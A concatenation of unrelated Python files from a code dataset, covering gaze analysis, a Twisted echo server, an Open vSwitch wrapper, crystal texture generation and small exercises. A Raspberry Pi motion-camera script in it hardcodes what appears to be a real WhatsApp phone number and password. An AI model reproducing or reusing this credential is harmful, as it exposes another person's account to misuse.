\n \n #### Load Steering Timestamps of Same Trial ########### \n #recalculate max and min so that gaze and steering data span same range for interpolation\n mint = min(trial_gazedata['gaze_timestamp'].values)\n maxt = max(trial_gazedata['gaze_timestamp'].values)\n \n df_steer = LoadSteering(steerdir,trial,maxt, mint) #loads steering file into a df.\n # \n print(\"Steeriing Data length: \", len(df_steer))\n \n df_stitch = StitchGazeAndSteering(trial_gazedata,df_steer) #interpolates gaze with simulator timestamps. \n \n df_stitch = GazeinWorld(df_stitch, midline, trackorigin) #locates gaze in world using converted matlab code. \n\n df_stitch = GazeonPath(df_stitch) #adds Path Distance and Path Proportion to dataframe.\n \n print (list(df_stitch.columns.values))\n \n #Add trial identifiers to df_stitch.\n\n df_stitch['trialcode'] = trial\n df_stitch['count'] = row['count'] \n df_stitch['condition'] = row['condition'] \n df_stitch['block'] = row['block'] \n \n #rename some df_stitch columns.\n# df_stitch.rename(index=str, columns={\"ID\": \"pp_id\", \"trialtype\": \"condition\"})\n \n# print (list(df_stitch.columns.values))\n \n# print(\"trial_gazedata5\") \n #df_stitch['sectiontype'] = row['sectiontype']\n #df_stitch['sectionorder'] = sectionorder\n\t\n \n ###here we add the segmentation, using jami's algorithm. \n ##use interpolated timestamp to match simulator values.\n ##for some reason this doesn't work as well with the simulator vlaues\n# \n v = df_stitch['vangle'].values\n h= df_stitch['hangle'].values\n t = df_stitch['currtime'].values\n eye = np.vstack((v,h)).T\n print('classifying gaze')\n sample_class, segmentation, seg_class = classify_gaze(t, eye)\n #sample_class is an array of same dimensions as inputs to classify_gaze, so can be added on to original dataframe.\n df_stitch['sample_class'] = sample_class \n \n \n# seg_class is an array of dimensions the same as number of segmentations\n# segmentation is an nslr.slow class, with segments that have t and x. \n# t is a 2dim array with start and end points. x is a 2x2 array vangle in x[:,0] and hangle in [x:,1]\n# plt.plot(t,h,'.')\n# \n# need to save segment in own file as it has different dimensions.\n seg_trial = pd.DataFrame()\n #add segmentation class and identification variables \n seg_trial['seg_class'] = seg_class \n seg_trial['ID'] = row['pp']\n seg_trial['trialcode'] = trial\n seg_trial['condition'] = row['condition']\n seg_trial['count'] = row['count'] \n seg_trial['sectiontype'] = row['sectiontype']\n seg_trial['sectionorder'] = df_stitch['sectionorder'].values[0]\n seg_trial['block'] = row['block'] \n \n for i, segment in enumerate(segmentation.segments): \n t = np.array(segment.t) # Start and end times of the segment\n x = np.array(segment.x) # Start and end points of the segment\n seg_trial.loc[i,'t1'] = t[0]\n seg_trial.loc[i,'t2'] = t[1]\n seg_trial.loc[i,'v1'] = x[0,0]\n seg_trial.loc[i,'v2'] = x[1,0]\n seg_trial.loc[i,'h1'] = x[0,1]\n seg_trial.loc[i,'h2'] = x[1,1]\n \n #here calculate average yaw-rate for segment for the corresponding time period.\n \n start = df_stitch['currtime'] >= t[0]\n end = df_stitch['currtime'] <= t[1]\n \n yawrates = df_stitch.loc[start&end,'yawrate']\n seg_trial.loc[i,'yawrate'] = yawrates.mean()\n # plt.plot(t, x[:,1], 'ro-', alpha=0.5)\n \n \n #plt.show()\n master_segment = pd.concat([master_segment,seg_trial])\n \n\n \n print (\"added to master df\")\n #master_gaze = pd.concat([master_gaze,df])\n \n master_stitch = pd.concat([master_stitch,df_stitch])\n \n compute_time = timer()-begin\n print(\"Classifying gaze took %f seconds\" % compute_time)\n \n \n #now you've built the master data of all trials, save it.\n# master_gaze.to_csv(savedir + \"FramebyFrameGaze_longFormat_100918.csv\") \n master_segment.to_csv(savedir + \"SegmentationData_longFormat_25PPs_181218.csv\")\n master_stitch.to_csv(savedir + \"GazeAndSteering_longFormat_25PPs_181218.csv\")\n\n\n\n","sub_path":"Processing/analyse_gazeonsrf_withSteering.py","file_name":"analyse_gazeonsrf_withSteering.py","file_ext":"py","file_size_in_byte":30551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"234711721","text":"from twisted.internet import reactor,endpoints\nfrom twisted.internet.protocol import Factory,Protocol\nfrom twisted.protocols.basic import LineReceiver\nnu=0\nclass Echo(Protocol):\n dis={\"a\":\"you choice a\",\"b\":\"you choice b\"}\n\n def connectionMade(self):\n self.transport.write(b\"hi!\")\n global nu\n nu +=1\n # self.factory.numProtocols = self.factory.numProtocols + 1\n print(nu)\n self.transport.loseConnection()\n def dataReceived(self, data):\n res=data.decode().strip()\n print(res)\n if res in self.dis:\n print(\"yes,in this\")\n self.transport.write(b'enen'+self.dis[res].encode()+b'\\r\\n')\n else:\n self.transport.write(b'i do not what you mean\\r\\n')\nfactory=Factory()\nfactory.protocol=Echo\nreactor.listenTCP(4444,factory)\nreactor.run()","sub_path":"twisted/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"31247480","text":"import sys\nsys.path.insert(0, '..')\nimport vgg\n\nimport numpy as np\nimport scipy.misc\nfrom PIL import Image\nimport tensorflow as tf\n\nnetwork = \"../imagenet-vgg-verydeep-19.mat\"\ndef imread(path):\n img = scipy.misc.imread(path).astype(np.float)\n if len(img.shape) == 2:\n # grayscale\n img = np.dstack((img,img,img))\n elif img.shape[2] == 4:\n # PNG with alpha channel\n img = img[:,:,:3]\n return img\ndef imsave(path, img):\n img = np.clip(img, 0, 255).astype(np.uint8)\n Image.fromarray(img).save(path, quality=95)\n\nvgg_weights, vgg_mean_pixel = vgg.load_net(network)\ncontent = imread(\"panda.ppm\")\n\nlayername = 'conv5_4'\nshape = (1,) + content.shape\n\nwith tf.Session() as sess:\n image = tf.placeholder('float', shape=shape)\n net = vgg.net_preloaded(vgg_weights, image, 'max')\n content_pre = np.array([vgg.preprocess(content, vgg_mean_pixel)])\n output = net[layername].eval(feed_dict={image: content_pre})","sub_path":"Other/neural_style/vgg19/checkoutputsame.py","file_name":"checkoutputsame.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"58053468","text":"from django.apps import apps\nfrom .ctl import Ctl\nfrom .parser import parser_other, parser_new, line_parser, show_cmd_parser, list_cmd_parser, parser_list_port\nfrom .utils import requires_port_set, requires_bridge_set, requires_bridge_other_set\n\nOvs_Compute = apps.get_model('ovs_servers', 'Ovs_Compute')\n\n\nclass Ovs_Server():\n def __init__(self, name='local', protocol='tcp', ip_address='127.0.0.1', port=6640):\n self.name = name\n self.ctl_server = self._ctl_connect(protocol, ip_address, port)\n\n def _ctl_connect(self, protocol, ip_addr, port):\n try:\n return Ctl(protocol=protocol, ip_addr=ip_addr, port=port)\n except Exception as err:\n return err\n\n def ovs_command(self, command='show', parser=show_cmd_parser, table_format='list', data_format='string'):\n return self.ctl_server.run(command=command, parser=parser, table_format=table_format, data_format=data_format)\n\n def ovs_ofctl_command(self, command='show', parser=show_cmd_parser, table_format='list', data_format='string'):\n return self.ctl_server.ofctl_run(command=command, parser=parser, table_format=table_format, data_format=data_format)\n\n def ovs_list_br(self):\n return self.ovs_command(command='list-br', parser=line_parser)\n\n def ovs_add_br(self, br):\n com = 'add-br %s' % br\n return self.ovs_command(command=com, parser=line_parser)\n\n def ovs_br_ex(self, br):\n try:\n com = 'br-exists %s' % br\n self.ovs_command(command=com, parser=line_parser)\n return True\n except:\n return False\n\n def ovs_del_br(self, br):\n \"\"\"\n Delete the bridge.\n \"\"\"\n ex = self.ovs_br_ex(br)\n if ex:\n com = 'del-br %s' % br\n self.ovs_command(command=com, parser=line_parser)\n return True\n else:\n return False\n\n def ovs_get_args_br(self, br, args):\n \"\"\"\n Get settings of the bridge.\n \"\"\"\n answer = {}\n if self.ovs_br_ex(br):\n com = 'get Bridge %s ' % br\n for arg in args:\n if arg in requires_bridge_set:\n ans = self.ovs_command(command=com + arg, parser=line_parser)[0]\n if ans and ans not in ['false', '[]', '{}']:\n answer[arg] = ans\n elif arg in requires_bridge_other_set:\n ans = self.ovs_command(command=com + 'other-config', parser=parser_other)\n for k, v in ans.items():\n if v not in ['false', '[]', '{}']:\n answer[k] = v\n return answer\n else:\n raise Exception(\"Bridge %s does not exist\" % br)\n # answer['error'] = 'error'\n # return answer\n\n def ovs_edit_br(self, br, args):\n if self.ovs_br_ex(br):\n com = 'set Bridge %s ' % br\n for arg, value in args.items():\n if arg in requires_bridge_set:\n setting = arg + '=' + str(value)\n self.ovs_command(command=com + setting, parser=line_parser)\n elif arg in requires_bridge_other_set:\n setting = arg + '=' + str(value)\n self.ovs_command(command=com + 'other-config:' + setting, parser=line_parser)\n return True\n else:\n return False\n\n def ovs_list_ifaces(self, br):\n com = 'list-ifaces %s' % br\n return {'Interfaces': self.ovs_command(command=com, parser=line_parser)}\n\n def ovs_init(self):\n return self.ovs_command(command='init', parser=line_parser)\n\n def ovs_emer_reset(self):\n return self.ovs_command(command='emer-reset', parser=line_parser)\n\n def ovs_list_ports(self, br):\n com = 'list-ports %s' % br\n return self.ovs_command(command=com, parser=line_parser)\n\n def ovs_add_port(self, br, port, args):\n com = 'add-port %s %s' % (br, port)\n self.ovs_command(command=com, parser=line_parser)\n #raise Exception(br, port, args)\n if args['tags']:\n com = 'set Port %s %s=%s' % (port, \"tag\", args['tags'])\n self.ovs_command(command=com, parser=line_parser)\n if args['trunks']:\n com = 'set Port %s %s=%s' % (port, \"trunks\", args['trunks'])\n self.ovs_command(command=com, parser=line_parser)\n if args['iface']:\n com = 'set Interface %s type=%s' % (port, args['iface'])\n self.ovs_command(command=com, parser=line_parser)\n return True\n\n def ovs_add_bond(self, br, port, args):\n if args['iface_1'] and args['iface_2']:\n com = 'add-bond %s %s %s %s' % (br, port, args['iface_1'], args['iface_2'])\n self.ovs_command(command=com, parser=line_parser)\n else:\n raise Exception('Set both interfaces')\n\n if args['tags']:\n com = 'set Port %s %s=%s' % (port, \"tag\", args['tags'])\n self.ovs_command(command=com, parser=line_parser)\n if args['trunks']:\n com = 'set Port %s %s=%s' % (port, \"trunks\", args['trunks'])\n self.ovs_command(command=com, parser=line_parser)\n if args['lacp']:\n com = 'set Port %s %s=%s' % (port, \"lacp\", args['lacp'])\n self.ovs_command(command=com, parser=line_parser)\n return True\n\n def ovs_del_port(self, br, port):\n com = 'del-port %s %s' % (br, port)\n return self.ovs_command(command=com, parser=line_parser)\n\n def ovs_get_args_port(self, port):\n \"\"\"\n Get settings of the port.\n \"\"\"\n com = 'get Port %s %s' % (port, 'other-config')\n answer = {}\n ans = self.ovs_command(command=com, parser=parser_other)\n for k, v in ans.items():\n if v not in ['false', '[]', '{}']:\n answer[k] = v\n return answer\n\n def ovs_list_port(self, port):\n \"\"\"\n Get settings of the port 2.\n \"\"\"\n com = 'list port %s' % port\n return self.ovs_command(command=com, parser=parser_list_port)\n\n def ovs_edit_port(self, port, args):\n \"\"\"\n Edit settings of the port.\n \"\"\"\n com = 'set Port %s other-config:' % port\n\n for arg, value in args.items():\n if arg in requires_port_set:\n setting = arg + '=' + str(value)\n # raise Exception(com + setting)\n self.ovs_command(command=com + setting, parser=line_parser)\n\n def ovs_edit_port_noother(self, port, args):\n \"\"\"\n Edit settings of the port.\n \"\"\"\n com = 'set Port %s ' % port\n\n for arg, value in args.items():\n if arg in ['trunks']:\n setting = arg + '=' + str(value)\n # raise Exception(com + setting)\n # raise Exception(com + setting)\n self.ovs_command(command=com + setting)\n\nif '_name__' == '__main__':\n pass\n srv = Ovs_Server()\n port = 'vlan5'\n com = 'set Port %s other-config:trunks=[15, 17]' % port\n answer = srv.ovs_command(command=com, parser=parser_other())\n print(answer)\n\n\n","sub_path":"webvirtmgr/ovs_servers/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":7174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"523901442","text":"# @Date: 2017-04-10T00:38:01+08:00\n# @Last modified time: 2017-04-10T00:46:39+08:00\n\n# Ch. 3 Programming Puzzles - Favorites\n# Make a list of your favorite hobbies and give the list the variable name games. Now make a list of your favorite foods and name the variable foods. Finally, print the variable favorites\n\ngames = [\"looking at cat videos\", \"napping\", \"solving puzzles\"]\nfoods = [\"kaldereta\", \"lasagna\", \"sinigang\"]\nfavorites = games + foods\nprint(favorites)\n","sub_path":"nostarch/pfk/favorites.py","file_name":"favorites.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"327484898","text":"import os\nimport RPi.GPIO as GPIO\nimport time\nimport datetime\nimport sys\nimport base64\nimport urllib.request, urllib.parse\nfrom yowsup.env import YowsupEnv\nfrom wamedia import SendMediaStack\nimport mysql.connector\n#from array import array\nimport json\nimport requests\n\n#inisiasi pin\nGPIO.setmode(GPIO.BCM)\n\n\n\nTRIG = 23\nECHO = 24\n\nprint (\"mulai\")\n\nGPIO.setup(TRIG,GPIO.OUT)\nGPIO.setup(ECHO,GPIO.IN)\n\n\n#variabel ulang ambil foto\nulang = 1\n\ndef credential():\n return \"6285559402907\",\"9UcLkHSmh5y/1x1UF72la5S/BhE=\"\n\nurl = \"http://andrigunawangh.000webhostapp.com/includes/webservice_noperson.php\"\nread = requests.get(url)\nstring = json.loads(read.text)\nloop = len(string)\n\n\nwhile 1:\n ulang = 1 \n GPIO.output(TRIG,True)\n time.sleep(0.00001)\n GPIO.output(TRIG,False)\n\n while GPIO.input(ECHO)==0:\n pulse_start = time.time()\n \n while GPIO.input(ECHO)==1:\n pulse_end = time.time()\n \n pulse_duration = pulse_end - pulse_start\n distance = pulse_duration * 17150\n distance = round(distance, 2)\n print (\"Distance:\",distance,\"cm\")\n time.sleep(0.7)\n\n if distance<10:\n while ulang<4:\n dt = str(datetime.datetime.now())\n cek = dt[0:4]+dt[5:7]+dt[8:10]+dt[11:13]+dt[14:16]+dt[17:19]+\".jpg\"\n os.system(\"fswebcam /home/pi/tugasakhir/\"+cek)\n \n\n time.sleep(5)\n if os.path.exists(\"/home/pi/tugasakhir/\"+cek):\n url = 'http://andrigunawangh.000webhostapp.com/service/service.php'\n foto = open(\"/home/pi/tugasakhir/\"+cek, \"rb\")\n foto_content = foto.read()\n encoded = base64.b64encode(foto_content)\n data = {'test': encoded, 'nama' : dt[0:4]+dt[5:7]+dt[8:10]+dt[11:13]+dt[14:16]+dt[17:19]}\n encoded_data = bytes(urllib.parse.urlencode(data).encode())\n website = urllib.request.urlopen(url, encoded_data)\n # print (website.read())\n print (\"detect\")\n for x in string:\n try:\n stack = SendMediaStack(credential(),[(x,\"/home/pi/tugasakhir/\"+cek)])\n stack.start()\n except:\n pass\n else:\n print (\"no foto\")\n ulang = ulang+1\n \n\nGPIO.cleanup()\n","sub_path":"sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"196408569","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCube : Recrystallization, Annealing\nGoss : Recrystallization, Annealing, Hot rolling\nS : Rolling, (Also called as R-texture)\nBrass : Rolling\nCopper: Rolling\n---\nP : Recrystallization,\n memo: P-texture {110}<122> in Al-Cu-Mg alloys is not a common texture\n component like Cube, Goss or Brass. [Y. Hu, et al.,\n \"P-Texture Effect on the Fatigue Crack Propagation Resistance\n in an Al-Cu-Mg Alloy Bearing a Small Amount of Silver\" (2018)]\n\"\"\"\nimport numpy as np\nfrom PIL import Image\nfrom tex_util import conv\nfrom tex_util import extract\nfrom tex_util.sym import equivalent\n\npreferred_orientation = {\n 'Goss': equivalent([90, 90, 45], False),\n 'S': np.concatenate((equivalent([59, 37, 63], False),\n equivalent([53, 75, 34], False),\n equivalent([27, 58, 18], False))),\n 'Brass': np.concatenate((equivalent([35, 45, 90], False),\n equivalent([55, 90, 45], False))),\n 'Copper': np.concatenate((equivalent([90, 35, 45], False),\n equivalent([39, 66, 27], False))),\n 'P': np.concatenate((equivalent([19., 90., 45.], False),\n equivalent([71., 45., 0.], False)))\n}\n\n\ndef parse(tex_info):\n cube_v = int(tex_info[2:5])\n cube_s = int(tex_info[5:7])\n s_v = int(tex_info[8:11])\n s_s = int(tex_info[11:13])\n goss_v = int(tex_info[14:17])\n goss_s = int(tex_info[17:19])\n brass_v = int(tex_info[20:23])\n brass_s = int(tex_info[23:25])\n copper_v = int(tex_info[26:29])\n copper_s = int(tex_info[29:31])\n rand_vol = 100 - (cube_v + s_v + goss_v + brass_v + copper_v)\n return np.array([cube_v, s_v, goss_v, brass_v, copper_v, rand_vol]),\\\n np.array([cube_s, s_s, goss_s, brass_s, copper_s])\n\n\ndef gauss(grain_num=1000):\n d = np.random.multivariate_normal(\n [0, 0, 0], [[1, 0, 0], [0, 1, 0], [0, 0, 1]], grain_num)\n spl = np.array([-1.2815514e+00,\n -8.41621007e-01,\n -5.24401007e-01,\n -2.53347007e-01,\n 0,\n 2.53346992e-01,\n 5.24400992e-01,\n 8.41620992e-01,\n 1.2815514e+00])\n for j in [0, 1, 2]:\n r = d[:, j]\n N = np.empty(10)\n for i in range(10):\n if i == 0:\n N[i] = len(np.where(r <= spl[0])[0])\n elif i == 9:\n N[i] = len(np.where(r > spl[8])[0])\n else:\n a = (np.where(r > spl[i - 1])[0])\n N[i] = len(np.where(r[a] <= spl[i])[0])\n n = np.sum((len(r) / 10 - N) ** 2 / (len(r) / 10))\n if n > 14.7:\n gauss(grain_num)\n return d\n\n\nclass orientation(object):\n @staticmethod\n def unit(ss, c):\n s0 = 2. / 3.\n vol = 1000\n R = np.zeros([3, 3])\n if c == 0:\n R = np.array([[-1.414, 0, 1.414],\n [0, 2, 0],\n [-1.414, 0, -1.414]]) / 2\n else:\n R = np.array([[1.414, 0, 1.414],\n [0, 2, 0],\n [-1.414, 0, 1.414]]) / 2\n texture = np.zeros([int(vol * s0), 3])\n # note: np.random.rand() generates 0 to 1 random number\n texture[:, 0] = np.random.rand(int(vol * s0)) * 90 * 1.414\n gauss3d = gauss()\n texture[:, 1:] = gauss3d[:int(vol * s0), :2] * \\\n np.sqrt(ss) # 67% : line\n texture = np.dot(texture, R) + np.array([90., 0., 0.])\n texture[texture[:, 1] < 0., 1] *= -1.\n texture[texture[:, 0] < 0., 0] += 90.\n texture[texture[:, 0] > 90., 0] -= 90.\n texture[texture[:, 2] < 0., 2] += 90.\n texture[texture[:, 2] > 90., 2] -= 90.\n\n texture0 = gauss3d[int(vol * s0):] * np.sqrt(ss) # 33% : dot\n texture0[texture0[:, 1] > 0, 1] *= -1.\n texture0[(texture0[:, 0] < 0.) & (texture0[:, 2] > 0.)\n ] += np.array([90., 0., 0.])\n texture0[(texture0[:, 0] < 0.) & (texture0[:, 2] < 0.)\n ] += np.array([90., 0., 90.])\n texture0[texture0[:, 2] < 0] += np.array([0, 0, 90])\n texture0 += np.array([0, 90, 0])\n return np.concatenate((texture, texture0))\n\n @staticmethod\n def generate_pseudoTex(ss, grain_num, ori):\n \"\"\"Method giving a three-dimensional Gaussian distribution to preferred orientation\n\n Arguments:\n ss {[type]} -- Dispersion angle\n vol {int} -- Grain number\n ori {array_like} -- Preferred orientation considering symmetry\n Returns:\n [array_like] -- preferred orientation with a three-dimensional Gaussian distribution\n \"\"\"\n grain_num = int(grain_num + 0.5)\n # if grain_num == 0:\n # return np.empty((0, 3))\n # tmp = np.empty((0, 3))\n # for _ in range(int(grain_num / ori.shape[0]) + 1):\n # for i in range(ori.shape[0]):\n # w = np.random.normal() * ss\n # a = np.random.uniform(size=3)\n # a[0] = a[0] * (1 if np.random.uniform() < 0.5 else -1)\n # a[1] = a[1] * (1 if np.random.uniform() < 0.5 else -1)\n # a[2] = a[2] * (1 if np.random.uniform() < 0.5 else -1)\n # # a = a / np.linalg.norm(a)\n # R = conv.rodrigues(a, w, rounding=False)\n # buf = np.dot(R, ori[i])\n # tmp = np.concatenate((tmp, np.atleast_2d(buf)))\n # return extract.method['random'](tmp, grain_num)\n\n if grain_num == 0:\n return np.empty((0, 3))\n tmp = np.empty((0, 3))\n for i in range(ori.shape[0]):\n buf = gauss() * np.sqrt(ss) + ori[i]\n tmp = np.concatenate((tmp, buf))\n return extract.method['random'](tmp, grain_num)\n\n @staticmethod\n def random(vol):\n return np.reshape(np.random.rand(int(vol + 0.5) * 3),\n (int(vol + 0.5), 3)) * [360, 180, 360]\n\n @classmethod\n def cube(cls, ss, vol):\n ori = np.empty((0, 3))\n for i in range(4):\n for j in range(4):\n for k in range(2):\n buf = cls.unit(ss, k)\n if k == 0:\n ori = np.concatenate((ori,\n buf + np.array([i * 90, 0, j * 90])))\n else:\n buf[:, 1] *= -1\n buf += np.array([i * 90, 180, j * 90])\n ori = np.concatenate((ori, buf))\n return extract.method['random'](ori, int(vol + 0.5))\n\n @classmethod\n def goss(cls, ss, vol):\n _G = preferred_orientation['Goss']\n return cls.generate_pseudoTex(ss, int(vol + 0.5), _G)\n\n @classmethod\n def brass(cls, ss, vol):\n _B = preferred_orientation['Brass']\n return cls.generate_pseudoTex(ss, int(vol + 0.5), _B)\n\n @classmethod\n def copper(cls, ss, vol):\n _Cu = preferred_orientation['Copper']\n return cls.generate_pseudoTex(ss, int(vol + 0.5), _Cu)\n\n @classmethod\n def S(cls, ss, vol):\n _S = preferred_orientation['S']\n return cls.generate_pseudoTex(ss, int(vol + 0.5), _S)\n\n @classmethod\n def P(cls, ss, vol):\n _P = preferred_orientation['P']\n return cls.generate_pseudoTex(ss, int(vol + 0.5), _P)\n\n\nclass Texture(object):\n def __init__(self, volume=1000, texture=np.empty((0, 3)), tex_info=None):\n self.tex_data = texture\n self.vol = volume\n self.vol_max = 10000\n if tex_info is None:\n return\n self.texture = np.empty((0, 3))\n if isinstance(tex_info, str):\n v, z = parse(tex_info)\n else:\n v = tex_info[0, :]\n z = tex_info[1, :]\n self.addCube(z[0], v[0])\n self.addS(z[1], v[1])\n self.addGoss(z[2], v[2])\n self.addBrass(z[3], v[3])\n self.addCopper(z[4], v[4])\n self.addRandom(v[5])\n\n def __clamp(self, val, max_val=255, min_val=0):\n val[val > max_val] = max_val\n val[val < min_val] = min_val\n return val\n\n def add(self, texture):\n self.tex_data = np.concatenate((self.tex_data, texture))\n\n def addRandom(self, percentage):\n self.add(orientation.random(self.vol_max * percentage / 100.))\n\n def addCube(self, ss, percentage):\n self.add(orientation.cube(ss, self.vol_max * percentage / 100.))\n\n def addS(self, ss, percentage):\n self.add(orientation.S(ss, self.vol_max * percentage / 100.))\n\n def addP(self, ss, percentage):\n self.add(orientation.P(ss, self.vol_max * percentage / 100.))\n\n def addGoss(self, ss, percentage):\n self.add(orientation.goss(ss, self.vol_max * percentage / 100.))\n\n def addBrass(self, ss, percentage):\n self.add(orientation.brass(ss, self.vol_max * percentage / 100.))\n\n def addCopper(self, ss, percentage):\n self.add(orientation.copper(ss, self.vol_max * percentage / 100.))\n\n def pole_figure(self, direct=np.array([1, 1, 1]), invert=False,\n denominator=10, img_size=128, method='random'):\n \"\"\" Positive pole figure\n\n Keyword Arguments:\n direct {array_like} -- Direction of projection plane (default: {np.array([1, 1, 1])})\n denominator {int} -- N (default: {10})\n img_size {int} -- image size (default: {128})\n method {str} -- Extraction method (default: {'random'})\n Returns:\n numpy array (img_size, img_size) -- pole figure ss image data\n \"\"\"\n stereo = conv.stereo(self.sample(method), direct)\n stereo = np.array([stereo / 2. * img_size / 2. + img_size / 2.], dtype=\"uint8\")\n img = np.zeros([img_size, img_size])\n for i, j in stereo[0]:\n img[i, j] += 1.\n img = img / float(denominator) * 255. if denominator > 0 else np.ceil(img) * 255.\n self.__clamp(img)\n if invert:\n img = np.ones([img_size, img_size]) * 255. - img\n return img\n\n def sample(self, method='random'):\n \"\"\"Extract crystal orientation\n\n Keyword Arguments:\n method {str} -- Extract method (default: {'random'})\n Returns:\n [numpy array] -- [description]\n \"\"\"\n tmp = extract.method[method](self.tex_data, self.vol)\n tmp[tmp < 0.] += 360.\n tmp[tmp > 360.] -= 360.\n return tmp\n\n def voxel(self, div=32, denominator=40, method='random'):\n temp = self.sample(method)\n temp /= 360.\n # temp[:, 1] *= 2. # ??\n temp *= div - 1.\n point = np.array(np.floor(temp + 0.5), dtype='uint8')\n vox = np.zeros([div, int(div / 2), div, 1], dtype='float16')\n for (phi1, phi2, phi3) in point:\n vox[phi1, phi2, phi3, 0] += 1.\n vox /= float(denominator)\n self.__clamp(vox, max_val=1.)\n return vox\n\n def saveTxt(self, file_name, method='random'):\n data_to_save = []\n append = data_to_save.append\n cnt = 1\n for euler in self.sample(method):\n tmp = [cnt, 1, euler[0], euler[1], euler[2]]\n append(tmp)\n cnt += 1\n np.savetxt(file_name, np.array(data_to_save), delimiter='\\t',\n fmt=['%4d', '%1d', '% 3.5f', '% 3.5f', '% 3.5f'])\n\n def savePoleFigure(self, file_name, direct=np.array([1, 1, 1]), invert=False,\n denominator=10, img_size=128, method='random'):\n pil = Image.fromarray(np.uint8(self.pole_figure(\n direct, invert, denominator, img_size, method)))\n pil.save(file_name)\n\n @classmethod\n def fromtxt(cls, tex_info_path):\n data = np.genfromtxt(tex_info_path, delimiter='')\n phi1 = data[:, 2]\n phi = data[:, 3]\n phi2 = data[:, 4]\n cls.tex_data = np.array([phi1, phi, phi2]).T\n return cls\n\n\nif __name__ == '__main__':\n if False:\n tex = Texture(volume=1000)\n B_V = 22\n B_S = np.random.randint(8, 15)\n tex.addBrass(B_S, B_V)\n G_V = 4\n G_S = np.random.randint(8, 15)\n tex.addGoss(G_S, G_V)\n S_V = 41\n S_S = np.random.randint(8, 15)\n tex.addS(S_S, S_V)\n C_V = 4\n C_S = np.random.randint(8, 15)\n tex.addCopper(C_S, C_V)\n Cube_V = 5\n Cube_S = np.random.randint(8, 15)\n tex.addCube(Cube_S, Cube_V)\n\n random_v = 100 - Cube_V - S_V - G_V - B_V - C_V\n tex.addRandom(random_v)\n print(random_v)\n\n filename = '0_' + '{0:03d}'.format(int(Cube_V))\n filename += '{0:02d}'.format(int(Cube_S)) + '_'\n filename += '{0:03d}'.format(int(S_V))\n filename += '{0:02d}'.format(int(S_S)) + '_'\n filename += '{0:03d}'.format(int(G_V))\n filename += '{0:02d}'.format(int(G_S)) + '_'\n filename += '{0:03d}'.format(int(B_V))\n filename += '{0:02d}'.format(int(B_S)) + '_'\n filename += '{0:03d}'.format(int(C_V))\n filename += '{0:02d}'.format(int(C_S)) + '.txt'\n tex.saveTxt(filename)\n tex.savePoleFigure('CUBE.png')\n\n import myplt\n tex = Texture(volume=1000)\n tex.addGoss(10, 100)\n myplt.draw_voxels(tex.voxel(), use_alpha=False)\n myplt.Show()\n # tex.savePoleFigure('S.png', denominator=4)\n # myplt.draw(tex.sample(), 'b', 'Brass orientation')\n # myplt.draw_all(tex.sample())\n # handles, labels = myplt.ax.get_legend_handles_labels()\n # myplt.fig.legend(handles, labels, loc='center left', borderaxespad=0)\n","sub_path":"tex_util/tex.py","file_name":"tex.py","file_ext":"py","file_size_in_byte":13568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"119021956","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport operator\n\narr = np.arange(3)\nmax_idx, max_val = max(enumerate(arr), key=operator.itemgetter(1))\n\nl = [0, 1, 2]\nmax_val = max(l)\nmax_idx = l.index(max_val)\nprint(max_idx, max_val)\n\n\n# with open(filename, \"r\") as fp:\n# # Row dimension\n# nums = fp.readline().strip()\n# row = int(nums)\n\n# A = []\n# for i in range(row):\n# nums = fp.readline().rstrip().split()\n# A.append([float(num) for num in nums])\n# A = np.array(A)\n\n\ndef read_network(self, filename):\n \"\"\"Read data from FILENAME and construct the network.\"\"\"\n # open network file\n fp = open(filename, \"r\")\n\n # get first line\n ln = fp.readline().strip()\n while ln is not \"\":\n # node name\n ln2 = ln.split(\",\")\n from_node_name = ln2[0]\n arcs = ln2[1:]\n try: # if node doesn't exist, add to network\n self.get_node(from_node_name)\n except NetworkError:\n self.add_node(from_node_name)\n\n ln = fp.readline().strip() # get next line\n\n fp.close()\n\n\n# BREADTH-FIRST SEARCH\ndef search(tree, search_value):\n # initialise the queue with head node only\n qu = LinkedList()\n qu.append(tree.head)\n # loop over when the list is not empty\n while qu.head != None: # the whole queue/linked list cannot compare with None.\n nd = qu.head.value # get the node in the linked list\n nd_value = qu.pop(\n 0\n ).value # pop the first node in the list and get the node value\n if nd_value == search_value: # check the node value with the search value\n return nd.name\n else:\n for arc in nd.arcs_out:\n qu.append(arc.to_node) # add the node's daughter nodes into the queue\n # if the search value is not found, return None\n return None\n\n\n# INSERTION SORT\ndef insertion_sort(A):\n A3 = np.sort(A) # sort the list using Python built-in function\n # - Use np.arange(**number**) to get a list of integers (for the index table).\n # - Your index table should be 0-indexed (this is Python after all) as opposed to\n # the 1-indexed example in the notes.\n\n # create an index list, starting at 0. [0 1 2 3 4]\n ind = [k for k in range(len(A))]\n\n # pick the value from index 1 to the last\n for i in range(1, len(A)):\n # the index before the current pick\n j = i - 1\n # check the pick and element before the pick till the front of the list\n while j > -1:\n pick = A[i]\n # if pick is smaller than the element before it, swap the values\n if pick < A[j]:\n A[i], A[j] = A[j], A[i]\n # swap the index list simultaneously\n ind[i], ind[j] = ind[j], ind[i]\n else:\n break\n # shift pick and the value the pick is going to compare with both by one\n i = i - 1\n j = i - 1\n return ind\n\n\n# for networks\nclass Node(object):\n def __init__(self):\n self.name = None\n self.value = None\n self.arcs_in = []\n self.arcs_out = []\n\n def __repr__(self):\n return \"nd: {}\".format(self.name)\n","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"435959884","text":"import binascii\n\ndef 